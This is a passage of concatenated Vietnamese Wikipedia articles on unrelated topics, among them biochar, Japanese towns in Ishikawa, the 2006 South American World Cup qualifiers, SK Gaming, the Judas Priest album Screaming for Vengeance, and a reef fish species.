Volvarina vinosa là một loài ốc biển, là động vật thân mềm chân bụng sống ở biển trong họ Marginellidae. Phân bố Loài sinh vật biển này phân bố ở Đại Tây Dương, ở ngoài khơi Đông Bắc Brasil. Tham khảo Pereira de Queiroz, G. & Crabos, O. (2023). Description of a new Volvarina (Volutoidea: Marginellidae) from North-East Brazil. Xenophora Taxonomy. 38: 14–16. vinosa Động vật được mô tả năm 2023
19853043
https://vi.wikipedia.org/wiki/Than%20sinh%20h%E1%BB%8Dc
Than sinh học
Than sinh học là chất cặn màu đen và nhẹ còn sót lại sau quá trình chưng khô sinh khối, gồm chủ yếu carbon và tro, và là một kiểu than củi. Tổ chức Sáng kiến Than sinh học Quốc tế định nghĩa than sinh học là "vật liệu rắn thu được từ quá trình biến đổi nhiệt hóa sinh khối trong môi trường thiếu oxy". Than sinh học là vật liệu bền vững, chứa nhiều carbon chưng khô và có thể tồn tại trong đất hàng nghìn năm. Tính ổn định chịu nhiệt của than sinh học cho phép phát triển kỹ thuật thu hồi và lưu trữ carbon chưng khô (PyCCS),, tạo nên vai trò quan trọng của than sinh học trong cô lập carbon. Đây là một phương án cô lập carbon tốn ít công sức, có tiềm năng thực hiện ở quy mô lớn với chi phí thấp, đóng góp hiệu quả cho giảm thiểu biến đổi khí hậu. Theo một báo cáo năm 2023, cô lập carbon bằng than sinh học và năng lượng sinh học kết hợp thu nạp và lưu trữ carbon là hai kỹ thuật chủ đạo trong cô lập carbon bằng công nghệ mới (tuy rằng các phương pháp truyền thống, như trồng rừng, vẫn đóng góp tuyệt đại đa số trong lượng carbon đã thu hồi được). Than sinh học có thể làm tăng độ phì nhiêu của đất chua và tăng năng suất nông nghiệp. Than sinh học chủ yếu được sử dụng để bón vào đất và được biết là có tác dụng cải thiện khả năng cung cấp dinh dưỡng của đất, thông khí trong đất và lọc nước trong đất. Ngoài ra nó cũng còn dùng để làm chất đốt, chất giữ nước, làm phụ gia thức ăn gia súc, và phụ gia bê tông. Tuy nhiên, khi được dùng để bón cho đất, cũng cần xem xét các hiệu ứng không mong muốn, ví dụ như làm xáo trộn độ pH của đất, hoặc các đặc tính hóa học thể gây hại ở cấp độ vi mô. Xem thêm Than hoạt tính Tham khảo Loại bỏ carbon dioxide Kỹ thuật khí hậu Than củi Chất cải tạo đất
19853050
https://vi.wikipedia.org/wiki/Uchinada%2C%20Ishikawa
Uchinada, Ishikawa
là thị trấn thuộc huyện Kahoku, tỉnh Ishikawa, Nhật Bản. Tính đến ngày 1 tháng 10 năm 2020, dân số ước tính thị trấn là 26.574 người và mật độ dân số là 1.300 người/km2. Tổng diện tích thị trấn là 20,33 km2. Địa lý Đô thị lân cận Ishikawa Kanazawa Kahoku Tsubata Tham khảo Thị trấn của Ishikawa
19853053
https://vi.wikipedia.org/wiki/V%C3%B2ng%20lo%E1%BA%A1i%20Gi%E1%BA%A3i%20v%C3%B4%20%C4%91%E1%BB%8Bch%20b%C3%B3ng%20%C4%91%C3%A1%20th%E1%BA%BF%20gi%E1%BB%9Bi%202006%20%E2%80%93%20Khu%20v%E1%BB%B1c%20Nam%20M%E1%BB%B9
Vòng loại Giải vô địch bóng đá thế giới 2006 – Khu vực Nam Mỹ
Vòng loại Giải vô địch bóng đá thế giới 2006 – Khu vực Nam Mỹ là một phần của Vòng loại Giải vô địch bóng đá thế giới 2006, được tổ chức nhằm chọn ra các đội bóng đến từ khu vực Nam Mỹ tham dự FIFA World Cup 2006. Thể thức 10 đội bóng là thành viên của FIFA và CONMEBOL thi đấu vòng tròn hai lượt sân nhà và sân khách. 4 đội đứng đầu giành quyền tham dự FIFA World Cup 2006, đội đứng thứ năm đá play-off liên lục địa với đại diện đến từ Liên đoàn bóng đá châu Đại Dương (OFC). Lần đầu tiên, đội đương kim vô địch FIFA World Cup () phải tham dự vòng loại mà không được vào thẳng như trước đây. Bảng xếp hạng Brasil, Argentina, Ecuador và Paraguay đủ điều kiện tham dự FIFA World Cup 2006. Uruguay lọt vào vòng play-off liên lục địa. Kết quả Vòng 1 Vòng 2 Vòng 3 Vòng 4 Vòng 5 Vòng 6 Vòng 7 Vòng 8 Vòng 9 Vòng 10 Vòng 11 Vòng 12 Vòng 13 Vòng 14 Vòng 15 Vòng 16 Vòng 17 Vòng 18 Vòng play-off liên lục địa Đội đứng thứ năm () gặp đội thắng ở khu vực châu Đại Dương () ở hai lượt trận sân nhà và sân khách. Đội thắng chung cuộc sẽ giành quyền tham dự FIFA World Cup 2006. Các đội vượt qua vòng loại Dưới đây là danh sách 4 đội bóng Nam Mỹ giành quyền tham dự FIFA World Cup 2006. 1 In đậm chỉ năm vô địch. In nghiêng chỉ năm là nước chủ nhà. Cầu thủ ghi bàn Có 236 bàn thắng được ghi trong 92 trận đấu (bao gồm 2 trận play-off liên lục địa), trung bình 2,57 bàn thắng/trận. 10 bàn Ronaldo 7 bàn Hernán Crespo José Cardozo Jefferson Farfán 6 bàn Adriano Diego Forlán Ruberth Morán 5 bàn Joaquín Botero José Alfredo Castillo Kaká Agustín Delgado Edison Méndez Javier Chevantón 4 bàn Ronaldinho Juan Pablo Ángel Roque Santa Cruz Nolberto Solano Juan Arango 3 bàn Pablo Aimar Luciano Figueroa Juan Román Riquelme Mauricio Pinilla Tressor Moreno Luis Gabriel Rey Antonio Valencia Carlos Gamarra Carlos Humberto Paredes Marcelo Zalayeta Giancarlo Maldonado 2 bàn Juan Pablo Sorín Luis Cristaldo Limberg Gutiérrez Roberto Carlos Robinho Luis Fuentes Luis Antonio Jiménez Milovan Mirošević Reinaldo Navia Freddy Grisales Frankie Oviedo Víctor Pacheco John Restrepo Elkin Soto Marlon Ayoví Ulises de la Cruz Paolo Guerrero Andrés Mendoza Jorge Soto Carlos Bueno José Torrealba Gabriel Urdaneta 1 bàn Fabricio Coloccini Andrés D'Alessandro César Delgado Luciano Galletti Kily González Lucho González Mauro Rosales Javier Saviola Javier Zanetti Julio César Baldivieso Gonzalo Galindo Roger Suárez Doyle Vaca Joselito Vaca Emerson Juan Luís Fabiano Juninho Rivaldo Zé Roberto Mark González Sebastián González Rodrigo Meléndez Arturo Norambuena Ricardo Francisco Rojas Marcelo Salas Moisés Villarroel Martín Arzuaga Sergio Herrera Edixon Perea Valencia Mario Yepes Giovanny Espinoza Iván Kaviedes Christian Lara Franklin Salas Carlos Tenorio Julio César Cáceres Diego Gavilán Gustavo Morínigo Jorge Martín Núñez Nelson Valdez Salvador Cabañas Santiago Acasiete Claudio Pizarro Gustavo Vassallo Nelson Abeijon Paolo Montero Álvaro Recoba Mario Regueiro Cristian Rodríguez Darío Rodríguez Adrián Romero Héctor González José Manuel Rey Leonel Vielma 1 own goal Hermán Solíz (against Ecuador) Gilberto Silva (against Uruguay) Luis Guadalupe (against Argentina) Alejandro Cichero (against Bolivia) José Manuel Rey (against Argentina) Chú thích Xem thêm Vòng loại Giải vô địch bóng đá thế giới 2010 – Khu vực Nam Mỹ Vòng loại Giải vô địch bóng đá thế giới 2002 – Khu vực Nam Mỹ Tham khảo Bóng đá Nam Mỹ năm 2003 Vòng loại giải vô địch bóng đá thế giới 2006 Vòng loại giải vô địch bóng đá thế giới khu vực Nam Mỹ
19853054
https://vi.wikipedia.org/wiki/Nonoichi%2C%20Ishikawa
Nonoichi, Ishikawa
là thành phố thuộc tỉnh Ishikawa, Nhật Bản. Tính đến ngày 1 tháng 10 năm 2020, dân số ước tính thành phố là 57.238 người và mật độ dân số là 4.200 người/km2. Tổng diện tích thành phố là 13,56 km2. Địa lý Đô thị lân cận Ishikawa Kanazawa Hakusan Tham khảo Thành phố của Ishikawa
19853057
https://vi.wikipedia.org/wiki/Th%C3%A2n%20v%C6%B0%C6%A1ng%20qu%E1%BB%91c%20Eichst%C3%A4tt
Thân vương quốc Eichstätt
Thân vương quốc Eichstätt (tiếng Đức: Fürstentum Eichstätt) là một thân vương quốc trung gian hoá nằm trong Vương quốc Bayern, tồn tại từ năm 1817 đến năm 1833, lãnh thổ của nó bao gồm một khu vực xung quanh Eichstätt với khoảng 24.000 cư dân. Chủ sở hữu của thân vương quốc là Công tước xứ Leuchtenberg dưới quyền gia tộc Beauharnais gốc Pháp, khởi đầu từ Eugène de Beauharnais, con nuôi của Hoàng đế Napoleon I và con rể của Vua Maximilian I Joseph của Bayern. Năm 1833, Triều đình Bayern mua lại Thân vương quốc với mức giá 3 triệu Gulden. Lịch sử Eugène de Beauharnais, con riêng của Hoàng hậu Joséphine de Beauharnais, vợ đầu của Hoàng đế Napoléon I và là con rể của Maximilian I Joseph của Bayern, ông được phong tước Công tước xứ Leuchtenberg và Thân vương xứ Eichstätt thông qua giấy chứng nhận của hoàng gia ngày 14 tháng 11 và tuyên bố của hoàng gia ngày 15 tháng 11 năm 1817. Ông nhận tước hiệu công tước mà không có bất kỳ mối liên hệ nào với tài sản; Việc thành lập một Thân vương quốc mới "trong khu vực Eichstädt" bao gồm tài sản, lương hưu và các quyền được thực hiện bởi ủy viên hoàng gia, ủy viên hội đồng chính phủ Carl Joseph Hartmann. Từ đó trở đi, Thân vương tại kinh đô Munich và tại Lâu đài Ismaning (dinh thự mùa hè) cho đến khi qua đời vào năm 1824. Ông chỉ đến thăm Thân vương quốc của mình với nơi cư trú ở Eichstätt một vài lần, đặc biệt là để thỏa mãn niềm đam mê săn bắn trong những khu rừng rộng lớn của lãnh thổ này. Con trai của ông là Auguste de Beauharnais, Công tước thứ 2 xứ Leuchtenberg, đã đàm phán để triều đình Bayern mua lại Thân vương quốc Eichstätt từ năm 1832 vì lý do kinh tế. Năm 1833, Vương quốc Bayern đã mua lại thân vương quốc. Năm 1855, Bayenr cuối cùng đã mua được tài sản còn lại của những người thừa kế Leuchtenberg với giá 3 triệu guilders. Các thân vương xứ Eichstätt Eugène de Beauharnais (1781–1824), Công tước thứ nhất xứ Leuchtenberg năm 1817. Auguste de Leuchtenberg (1810–1835), Công tước thứ 2 xứ Leuchtenberg kể từ năm 1824, con trai của Eugène de Beauharnais và vương nữ Auguste của Bayern. Liên kết ngoài Hofstetten castle (de) Fürstentum Eichstätt 1817–1833 in Historischer Atlas von Bayern (de) Cựu quốc gia châu Âu Cựu thân vương quốc Eichstätt Lịch sử Bayern
19853068
https://vi.wikipedia.org/wiki/Mikhail%20Viktorovich%20Zudenkov
Mikhail Viktorovich Zudenkov
Mikhail Viktorovich Zudenkov (; sinh ngày 13 tháng 4 năm 1970) là một cựu cầu thủ bóng đá Nga. Tham khảo Sinh năm 1970 Nhân vật còn sống Cầu thủ bóng đá nam Liên Xô Cầu thủ bóng đá FShM Cầu thủ bóng đá FK Presnya Moskva Cầu thủ bóng đá nam Nga Cầu thủ Giải bóng đá ngoại hạng Nga Tiền đạo bóng đá nam Tiền vệ bóng đá nam
19853070
https://vi.wikipedia.org/wiki/Vadim%20Valentinovich%20Zudilin
Vadim Valentinovich Zudilin
Vadim Valentinovich Zudilin () là một nhà toán học và lý thuyết số người Nga. Ông theo học Yuri V. Nesterenko và làm việc tại Đại học Quốc gia Moskva, Viện Toán học Steklov, Viện Toán học Max Planck và Đại học Newcastle, Úc. Hiện ông làm việc tại Đại học Radboud Nijmegen, Hà Lan. Tham khảo Liên kết ngoài Wadim Zudilin's homepage Wadim Zudilin's research profile Wadim Zudilin's list of published works Nhà toán học Nga Nhà lý thuyết số Nhân vật còn sống Giảng viên Đại học Quốc gia Moskva Giảng viên Đại học Newcastle (Úc) Giảng viên Đại học Radboud Nijmegen Năm sinh thiếu (nhân vật còn sống)
19853071
https://vi.wikipedia.org/wiki/Chilpancingo%20de%20los%20Bravo%20%28khu%20%C4%91%C3%B4%20th%E1%BB%8B%29
Chilpancingo de los Bravo (khu đô thị)
Chilpancingo de los Bravo là một khu đô thị thuộc bang Guerrero, México. Trung tâm là thành phố Chilpancingo de los Bravo. Địa lý Khu đô thị nằm trong dãy Sierra Madre del Sur, diện tích là . Tính đến năm 2005, dân số khu đô thị là 214.219 người. Thành phố và làng mạc Khu đô thị có 114 địa phương. Những đơn vị hành chính lớn nhất là: Ghi chú Tham khảo Đô thị bang Guerrero Nguồn CS1 tiếng Tây Ban Nha (es) Tọa độ trên Wikidata
19853075
https://vi.wikipedia.org/wiki/Maurice%20Revello%20Tournament
Maurice Revello Tournament
Giải đấu Maurice Revello (chính thức tiếng Pháp: Festival International "Espoirs" – Tournoi Maurice Revello ), trước đây gọi là Giải đấu Toulon , là một giải đấu bóng đá , theo truyền thống có các đội tuyển quốc gia được mời gồm các cầu thủ trẻ từ U-17 đến U-23 mức độ. Mặc dù giải đấu đầu tiên diễn ra vào năm 1967 có sự góp mặt của các đội câu lạc bộ, nhưng nó đã bị giới hạn ở các đội tuyển quốc gia kể từ năm 1975 (ngoại trừ năm 1986 và 1989 khi INF Vichy được mời).  Giải đấu được tổ chức quanh Provence-Alpes-Côte d'Azur , với trận chung kết thường được tổ chức ở Toulon . Giải đấu được đổi tên để vinh danh Maurice Revello , người bắt đầu giải đấu vào năm 1967 và qua đời vào năm 2016. Lịch sử Giải đấu Toulon là giải đấu không được tổ chức dưới sự giám sát của FIFA hay một hiệp hội quốc gia riêng lẻ nào. Vì vậy, nó được coi là giải đấu danh giá nhất trong tất cả các giải đấu giao hữu có sự tham gia của các đội trẻ và được coi là giải vô địch thế giới không chính thức trước khi FIFA giới thiệu Giải vô địch trẻ thế giới chính thức vào năm 1977.  Mặc dù đã thành lập FIFA U-20 World Cup và sau đó Tuy nhiên , FIFA U-17 World Cup , Giải Toulon vẫn là giải đấu quan trọng đối với các đội bóng trẻ. Quy tắc Giải đấu Toulon thường được diễn ra với hai hiệp, mỗi hiệp 40 phút. Vào năm 2019, mỗi trận đấu bao gồm hai hiệp, mỗi hiệp 45 phút. Trong một trận đấu, mỗi đội có 11 cầu thủ dự bị được nêu tên và số lần thay người tối đa được phép là 4. Ở vòng loại trực tiếp, nếu trận đấu hòa vào cuối thời gian quy định, hiệp phụ sẽ không được thi đấu và loạt sút luân lưu được sử dụng để xác định đội thắng. Kết quả Thống kê Hiệu suất theo quốc gia [ chỉnh sửa ] Thành tích của liên đoàn [ chỉnh sửa ] Giải thưởng Xem thêm Cúp Nữ Sud Cơn lốc xoáy Viareggio Đài tưởng niệm Granatkin Giải đấu tưởng niệm Valeriy Lobanovskyi Giải đấu bốn quốc gia dưới 20 tuổi Giải đấu dưới 20 tuổi Torneo delle Nazioni Giải U-19 nữ quốc tế mùa xuân Kuban Ghi chú ^ Giải đấu năm 1967 là giải đấu đầu tiên và duy nhất không có sự góp mặt của các đội tuyển quốc gia ^ Phiên bản năm 1975 là giải đấu đầu tiên chỉ có các đội tuyển quốc gia, trở thành thể thức hiện tại ^ Giải đấu năm 2020 dự kiến ​​được tổ chức từ ngày 1 đến ngày 14 tháng 6 nhưng nó đã bị hoãn vô thời hạn vào tháng 4 và bị hủy vào ngày 24 tháng 10. ^ Giải đấu năm 2021 dự kiến ​​được tổ chức từ ngày 30 tháng 5 đến ngày 13 tháng 6 nhưng đã bị hoãn vô thời hạn vào tháng 4 và bị hủy vào tháng 11. ^ Bao gồm Liên Xô ^ Bao gồm Nam Tư ^ Bao gồm Tiệp Khắc ^ Bao gồm Tây và Đông Đức ^Nhảy lên:a b Chơi choSlovan Bratislava ^ Chơi cho Anderlecht ^ Chơi cho Hạt Derby ^ Chơi cho INF Vichy Tài liệu tham khảo ^Nhảy lên:ab Garin ^ ^ ^ Liên kết bên ngoài Trang web chính thức RSSSF Thể loại : Giải đấu Maurice Revello Giải đấu bóng đá hiệp hội quốc tế tổ chức bởi Pháp Giải đấu bóng đá của hiệp hội thanh niên dành cho các đội quốc tế Thể thao ở Toulon Thể thao ở Var (sở)
19853076
https://vi.wikipedia.org/wiki/Li%C3%AAn%20%C4%91o%C3%A0n%20Karate%20Th%E1%BA%BF%20gi%E1%BB%9Bi
Liên đoàn Karate Thế giới
Liên đoàn Karate Thế giới (WKF) [tiếng Anh: World Karate Federation] là tổ chức quốc tế điều hành và quản lý cho môn võ karate trên toàn thế giới. WKF được thành lập vào năm 1990 và có trụ sở tại Madrid, Tây Ban Nha. Tổ chức này là cơ quan điều hành chính thức của karate trong hệ thống thể thao quốc tế. Lịch sử WKF được thành lập vào ngày 10 tháng 10 năm 1990 tại Madrid, Tây Ban Nha. Mục đích chính của tổ chức là thúc đẩy và phát triển môn võ karate trên toàn thế giới, đồng thời giám sát các hoạt động liên quan đến karate trên phạm vi quốc tế. WKF là người đứng đầu của tất cả các tổ chức karate quốc tế khác và là cơ quan chính thức đại diện cho karate tại các sự kiện thể thao quốc tế. Hoạt động WKF tổ chức và giám sát nhiều sự kiện và giải đấu karate quốc tế hàng năm, bao gồm: - Giải Vô địch Karate Thế giới (World Karate Championships): Là giải đấu hàng năm được tổ chức bởi WKF, thu hút sự tham gia của các võ sĩ từ khắp nơi trên thế giới. Giải này bao gồm các cuộc thi kumite và kata cho cả nam và nữ ở nhiều độ tuổi và hạng cân khác nhau. - Giải Karate Premier League: Là chuỗi các giải đấu có điểm tích lũy điểm số cho các võ sĩ, giúp họ đạt được vị trí cao hơn trong bảng xếp hạng thế giới. - Các giải đấu châu lục: WKF cũng tổ chức các giải đấu châu lục, như Giải Karate Châu Âu, Giải Karate Châu Á, và nhiều giải khác, nhằm thúc đẩy sự phát triển của karate trên mỗi khu vực. Các vấn đề quản lý WKF có trách nhiệm đề xuất và thực thi các quy định, quy tắc và nguyên tắc thi đấu cho karate trên toàn thế giới. Nó cũng chịu trách nhiệm về việc công nhận các tổ chức karate quốc gia và các cơ quan quản lý karate tại mỗi quốc gia. Đối tác và hợp tác WKF hợp tác chặt chẽ với các tổ chức thể thao quốc tế khác, như Liên đoàn Olympic Quốc tế (IOC) và Tổ chức Thể thao quốc tế (GAISF), để thúc đẩy và bảo vệ karate như một môn thể thao Olympic.Xem thêm Trang web chính thức và thông tin thêm về Karate - [Trang web chính thức của WKF](https://www.wkf.net/) - [Karate trên Wikipedia Tiếng Việt](https://vi.wikipedia.org/wiki/Karate) Kumite Kata, Karate Kihon Karate Tổ chức thể thao
19853077
https://vi.wikipedia.org/wiki/SK%20Gaming
SK Gaming
SK Gaming là 1 tổ chức thể thao điện tử chuyên nghiệp có trụ sở tại Đức có các đội trên khắp thế giới thi đấu ở các giải đấu khác nhau. SK đặc biệt được biết đến với thành công trong các giải đấu Counter-Strike (CS). Đội CS Brazil của SK đã vô địch Major ESL One Cologne 2016. SK hiện có các tuyển thủ và các đội thi đấu Liên Minh Huyền Thoại và Hearthstone. SK Gaming được thành lập vào năm 1997 bởi một nhóm nhỏ người chơi Quake ở Oberhausen. Lịch sử Khởi đầu Schroet Kommando được thành lập vào năm 1997 với tư cách là 1 nhóm chơi Quake ở Đức bởi bốn anh em và ba người bạn ở Oberhausen. Đội hình ban đầu của Schroet Kommando bao gồm Ralf "Griff" Reichert, Daniel "Godlike" Beames, Tim "Burke" Reichert, Benjamin "Kane" Reichert, Kristof "Speed" Salwiczek, Carsten " Storch" Kramer và Sven "Ramses" Tümmers. Theo Ralf Reichert, tên ban đầu của tổ chức bắt nguồn từ việc một trong các thành viên liên tục hét lên "Schröt!", âm thanh phổ biến bất cứ khi nào súng ngắn hai nòng được sử dụng, bản dịch có nghĩa là "mảnh đạn". Cuối cùng, nhóm đã lấy tên này làm tên của họ, do đó trở thành "Schroet Kommando". Kể từ đó, tổ chức bắt đầu sử dụng tên viết tắt của họ thường xuyên hơn, cho đến khi nó trở thành SK Gaming. Ban đầu, ngôi nhà của gia đình Beames hoạt động như trụ sở chính của Schroet Kommando, tập trung chủ yếu vào Quake. Ngay từ đầu, Schroet Kommando đã trở thành một trong những tổ chức đầu tiên có đội toàn nữ; trong đó đáng chú ý nhất là Annemarie "XS" Warnkross, người sau này trở thành người dẫn chương trình nổi tiếng trên truyền hình Đức. Tổ chức đã mở rộng đội sang bộ môn Counter-Strike, nơi SK được biết đến như một trong những đội thành công nhất trên toàn nước Đức. Vào tháng 9 năm 2001, Andreas "bds" Thorstensson đã cách mạng hóa thể thao điện tử bằng cách để SK đóng vai trò là tổ chức đầu tiên cung cấp các dịch vụ cao cấp phải trả tiền ("SK Insider", một thị trường ảo trong đó người đăng ký có thể tải xuống các bản demo (bản phát lại), bản mod và tiện ích bổ sung tốt hơn và sớm hơn những người khác, hãy nói chuyện trực tiếp với các game thủ SK, v.v.). Thành công Counter-Strike quốc tế của tổ chức đến khi họ ký hợp đồng với tổ chức Counter-Strike Thụy Điển, Ninjas in Pyjamas thành công. Năm 2003, SK Gaming trở thành tổ chức thể thao điện tử đầu tiên ký hợp đồng với người chơi, bắt đầu với đội SK Thụy Điển Counter-Strike. Liên Minh Huyền Thoại Riot Games đã thông báo vào ngày 20 tháng 11 năm 2018 rằng SK Gaming sẽ là một trong mười đối tác nhượng quyền tham gia League of Legends European Championship (LEC). Vào ngày 20 tháng 12 năm 2018, tổ chức này thông báo họ đã ký hợp đồng với người đi đường trên Jorge "Werlyb" Casanovas Moreno-Torres, người đi rừng Oskar "Selfmade" Boderek, người đi đường giữa Choi "Pirean" Jun-sik, người đi đường dưới Jus "Crownshot" Marusic và hỗ trợ Han " Dreams" Min-kook cho đội hình xuất phát của họ tại LEC Mùa Xuân 2019. Đội hình hiện tại Tham khảo Chú thích Khởi đầu năm 1997 ở Đức
19853078
https://vi.wikipedia.org/wiki/Screaming%20for%20Vengeance
Screaming for Vengeance
Screaming for Vengeance là album phòng thu thứ tám của ban nhạc heavy metal người Anh Judas Priest, được hãng Columbia Records phát hành vào tháng 7 năm 1982. Đây được xem là tác phẩm gây đột phá về mặt thương mại của ban nhạc tại Bắc Mỹ, giành được cú đúp đĩa bạch kim tại Hoa Kỳ và đĩa bạch kim ở Canada. Screaming for Vengeance đã cho ra các bài hit "You've Got Another Thing Comin'" và "Electric Eye" - những bài này trở thành các ca khúc trứ danh của ban nhạc và nhận được sự yêu thích của thính giả lâu năm trên đài phát thanh. Thu âm và phát hành Screaming for Vengeance được thu âm tại Ibiza Sound Studios, Ibiza, Tây Ban Nha (trong thời gian này, nơi đây thường được các nhạc sĩ của Anh chọn để thu âm tại châu Âu đại lục nhằm né thuế). Phần trộn âm và ghi đè được thực hiện ở Beejay Recording Studios (Orlando, Florida) và Bayshore Recording Studios (Coconut Grove, Florida). Tác phẩm thể hiện thứ âm thanh nặng và thô hơn British Steel và cho thấy quay ngược về dòng heavy rock trực diện sau đĩa nhạc giàu giai điệu Point of Entry. Album còn đánh dấu lần đầu một tay trống góp mặt trong hai album của Judas Priest trở lên, với Dave Holland tham gia thu cả British Steel lẫn Point of Entry. Bài gặt hái thành công thương mại tốt nhất từ album là "You've Got Another Thing Comin'" được bổ sung vào phút chót. Theo tay guitar K. K. Downing chia sẻ: "Chúng tôi khá hài lòng với album [này], song lúc giờ chót thì quyết định rằng có thể thêm một bài hát nữa. Tôi biết là chúng tôi đã có một số chỗ, song chúng tôi chọn hoàn tất "Another Thing Comin trong các buổi ghi nháp ở Bee Jay studios. Bài hát hình thành khá là nhanh, và dường như tôi nhớ là chúng tôi đều thấy bài đó thật tuyệt, vì nó nghe như một bài chi phối mạnh mẽ và hiệu quả, có thể là một bài tuyệt vời để lên sóng phát thanh." Rob Halford thì bày tỏ sự ngạc nhiên trước thành công của ca khúc: "bài đó đã bị cất đi. Thông thường những bài bạn nghĩ sẽ làm nên chuyện nằm ở mặt trước của đĩa nhạc. Song bạn bè chúng tôi ở Sony nói: 'Chúng ta sẽ chọn bài hát này.' Và thực sự chúng tôi chả hiểu chuyện gì đang xảy ra. Thế rồi phản ứng lại tốt ngoài mong đợi: 'Ê, đĩa nhạc đang gây sốt khắp nơi kìa, nó thành công rồi." Screaming for Vengeance được phát hành vào tháng 7 năm 1982, với đĩa CD đã qua hậu kiểm được phát hành vào tháng 7 năm 2001. "Fight for Your Life" (được thu trong các buổi ghi nháp của Screaming for Vengeance) bị lược bỏ, song sau được tái xử lý thành ca khúc "Rock Hard Ride Free" ở album kế tiếp Defenders of the Faith. Bản gốc được trình làng dưới dạng bài tặng kèm cho phiên bản hậu kiểm năm 2001 của đĩa Killing Machine (1978). Tính đến dịp kỷ niệm 30 năm ra đời album vào năm 2012, đây vẫn là đĩa nhạc bán chạy nhất sự nghiệp của Judas Priest'. Để mừng dịp kể trên, một đĩa CD đã qua hậu kiểm được phát hành, tặng kèm các bài ghi trực tiếp năm 1982 và đĩa DVD ghi lại tiết mục của ban nhạc từ nhạc hội US Festival 1983. Lưu diễn World Vengeance Tour khởi động ngay sau ngày phát hành album vào tháng 7 năm 1982 và tập trung các điểm đến ở Bắc Mỹ vào mùa hè và mùa thu, mãi đến tháng 12 năm 1983 thì Priest mới trình diễn ở châu Âu. Hành động chú trọng đến khán giả Mỹ là để xây dựng chỗ đứng thương mại vững chắc ở thị trường này, đặc biệt vì "You've Got Another Thing Comin trở thành một bài hit lớn. Bài đó và "Electric Eye" là những bài chốt trong danh sách tiết mục và nằm trong số những bài mà ban nhạc trình diễn nhiều nhất. "Devil's Child" cũng được trình bày ở nhiều tour từ 1982 đến 2008, còn "Riding on the Wind", "Bloodstone" và bài tiêu đề cũng có tên trong danh sách tiết mục của nhiều tour. Để so sánh, "Fever" chỉ được trình bày ở hai show đầu tiên vào năm 1982, "(Take These) Chains" chỉ xuất hiện trong danh sách tiết mục vào năm 2019, trong khi "Pain and Pleasure" và bài nhạc khí "The Hellion" chưa bao giờ được trình bày trực tiếp (dẫu bản thu bài hát thường được bật trước tiết mục "Electric Eye"). Đón nhận Trong khi British Steel (1980) được xem là tuyệt tác của ban nhạc, thì Screaming for Vengeance lại là tác phẩm gây đột phá của Judas Priest ở thị trường Bắc Mỹ. Dẫu cho ban nhạc đã sở hữu lượng người hâm mộ tín đồ là khán giả Mỹ vào năm 1979 và có thể đứng diễn chính ở tour của riêng họ, nhóm lại tiêu thụ "tương đối ít" đĩa nhạc trước khi Screaming for Vengeance ra đời. Đĩa nhạc cũng cực kỳ thành công trên toàn thế giới. Biểu diễn thương mại Screaming for Vengeance giành vị trí số 11 trên UK Albums Chart và thứ 17 trên US Billboard 200 Pop Albums. Đĩa nhạc giành được chứng nhận vàng của RIAA vào ngày 29 tháng 10 năm 1982, bạch kim vào ngày 18 tháng 4 năm 1983, và 2× đĩa bạch kim vào ngày 16 tháng 10 năm 2001. Giải thưởng Album được liệt ở hạng 15 trong danh sách 25 album nhạc metal giàu ảnh hưởng nhất của IGN. Screaming for Vengeance còn giật vị trí số 10 trong danh sách 100 album nhạc metal hay nhất của Metal-Rules.com. Kerrang! liệt album ở hạng 46 trong "100 album heavy metal hay nhất mọi thời đại". Năm 2017, đĩa nhạc đứng thứ 12 trong danh sách "100 album nhạc metal hay nhất mọi thời đại" của Rolling Stone. Năm 2022, Screaming for Vengeance xếp thứ hai trong danh sách '25 album guitar rock hay nhất năm 1982' của Guitar World. Trong văn hóa đại chúng "You've Got Another Thing Comin có mặt ở dạng bài chơi được trong trò chơi video Guitar Hero. "Electric Eye" (cùng với bài đi kèm là "The Hellion") cũng là những bài chơi được trong Guitar Hero Encore: Rocks the 80s và Guitar Hero Smash Hits. Toàn bộ album được lần đầu pahts hành dưới dạng nội dung nhạc số cho trò chơi video Rock Band và Rock Band 2. Bài tiêu đề "Screaming for Vengeance" được bật trên miền chính của trò chơi video Brütal Legend. Trong trò chơi, Rob Halford lồng tiếng phản diện tên là Tướng Lionwhyte, cũng như nhân vật anh hùng tên là Fire Baron (phỏng theo chính anh). Bài "You've Got Another Thing Comin có mặt trong trò chơi video Grand Theft Auto: Vice City (2002) - nằm trong trạm phát thanh V-Rock, còn "Electric Eye" cũng có mặt trên trạm phát thanh ấy trong trò chơi video tiền truyện Grand Theft Auto: Vice City Stories (2006). Bài hát "Riding on the Wind" thì có mặt trong trò chơi video Twisted Metal (2012). Danh sách ca khúc Bản phát hành gốc DVD trực tiếp bản kỷ niệm 30 năm Xếp hạng Chứng nhận Chú thích Liên kết ngoài Extensive album info Album của Columbia Records Album năm 1982 Album của Judas Priest Album sản xuất bởi Tom Allom
19853079
https://vi.wikipedia.org/wiki/Cirripectes%20stigmaticus
Cirripectes stigmaticus
Cirripectes stigmaticus là một loài cá biển thuộc chi Cirripectes trong họ Cá mào gà. Loài này được mô tả lần đầu tiên vào năm 1953. Từ nguyên Tính từ định danh stigmaticus trong tiếng Latinh có nghĩa là “dấu vết”, hàm ý đề cập đến các vệt đốm khắp cơ thể của loài cá này. Phân bố và môi trường sống Từ Đông Phi, C. stigmaticus có phân bố rộng khắp khu vực Ấn Độ Dương - Thái Bình Dương, trải dài về phía đông đến quần đảo Marshall và quần đảo Samoa, ngược lên phía bắc đến tỉnh Batanes của Philippines, phía nam đến Úc và Nouvelle-Calédonie. Ở Việt Nam, C. stigmaticus được ghi nhận tại cù lao Câu (Bình Thuận). C. stigmaticus xuất hiện ở đới mặt bằng rạn có san hô và tảo phát triển phong phú, hay trên các cụm rong san hô, giữa các san hô Acropora và Pocillopora, độ sâu đến ít nhất là 20 m. Mô tả Chiều dài chuẩn lớn nhất được ghi nhận ở C. stigmaticus là 8,2 cm. Loài này có kiểu hình thay đổi tùy theo khu vực địa lý và cũng dị hình giới tính. Đầu và thân màu nâu sẫm với kiểu hình lưới màu đỏ tươi ở đầu, trở thành các đốm và vệt gợn sóng ở phía sau. Mống mắt với đồng tử bao quanh bởi vòng vàng. Những cá thể lớn có màu xanh lục đậm đến đen, cũng có các vệt đốm đỏ trên đầu và thân. Những con đực ở quần đảo Gilbert có màu sẫm hơn, sắc tố trên vây có màu nâu thay vì đỏ tươi, mống mắt gần như có màu vàng hoàn toàn. Số gai vây lưng: 11–12; Số tia vây lưng: 14–15; Số gai vây hậu môn: 2; Số tia vây hậu môn: 14–16; Số tia vây ngực: 15; Số gai vây bụng: 1; Số tia vây 